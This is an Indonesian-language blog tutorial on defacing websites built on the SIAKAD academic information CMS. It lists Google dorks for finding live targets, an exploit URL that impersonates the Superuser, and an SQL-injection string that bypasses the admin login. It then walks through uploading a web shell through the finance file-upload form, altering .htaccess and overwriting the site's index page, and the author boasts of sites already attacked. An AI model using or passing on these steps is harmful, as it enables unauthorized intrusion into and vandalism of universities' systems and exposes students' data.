Siakad CMS
2025-05-12 08:02:30 - zdgtl
Hay gan-sist
Meet again nih dengan admin ganteng, hehe
Di artikel ini kita akan mempelajari ilmu para script kiddies, yaitu Deface Web. Tepatnya, disini lo akan mempelajari Deface web dengan teknik bypass admin pada CMS SIAKAD (Sistem Informasi Akademik)
Oiya, sebelumnya Taqqobalallohu Mina Wa Minkum , Mohon maaf lahir batin guys. Maapin gua kalo gua punya banyaaakkk salah ke lo semua, termasuk para admin web yang web-nya pernah gua anu anu hehe ;) Maapin gua juga kalo gua jarang post, hehe. Ojo lali sundul THR nya ke gua yo wkwk :p
Oke oke, gak usah banyak cincong lagi, langsung otw ke topik pembahasan..
Shortcut : Click Here For Watch Tutorial Video on Youtube
[+] Sesajen :
1. Dork :
/?mnux=login&lgn=frm
siakad
inurl:"?mnux=" intext:siakad
inurl:"?mnux=" intext:akademik
inurl:"?mnux=" intext:sisfo
inurl:"?mnux=" site:id
inurl:"?mnux=" site:com
inurl:"?mnux=" site:net
NOTE : Pilih salah satu dork nya mbah
2. Exploit :
/?mnux
ATAU
/?mnux=login&lgn=frm&lid=1&nme=Superuser
3. Bypass :
'=''or'
4. Shell Access :
/tmpbank/your-shell.php
[+] Jampi-jampi :
1. Seperti biasa, gunakan dork untuk mencari target dengan cara Masukan dork ke mbah google, lalu pilih target lo.
2. Setelah pilih target, masukkan exploit-nya
3. Lalu bypass page admin-nya.
4. Kalo lo gak jones, lo bakal masuk ke page admin-nya, kayak gua wkwk B-)
5. Lalu pergi ke menu Keuangan > File Biaya Mahasiswa
6. Isi form nya asal aja, guys. Terus pilih Upload File dari Bank
7. Next, Upload your shell, suckers. Dan tunggu hingga Shell berhasil di upload.
8. Yeayy, Shell had been Uploaded
9. Lalu pergi ke direktori utama pada situs target. Biasanya terletak di /public_html/ tapi disini gua mendapatkan target dengan direktori utama /var/www/
10.Disitu terlihat permission nya Not Writable. Ini menjadi penghalang oleh para Defacer untuk menebas index aslinya. So, mari kita bermain dengan .htaccess
pada file .htaccess dibawah ini, terlihat bagwa ExpiresActive dalam keadaan On, maka mati-kan lah, dengan merubah On menjadi Off
11. Tahap yang dinantikan oleh para defacer. Yapss, menebas index.
FINNISH.. Thanks for reading on my Blog.. Dont forget to leave comment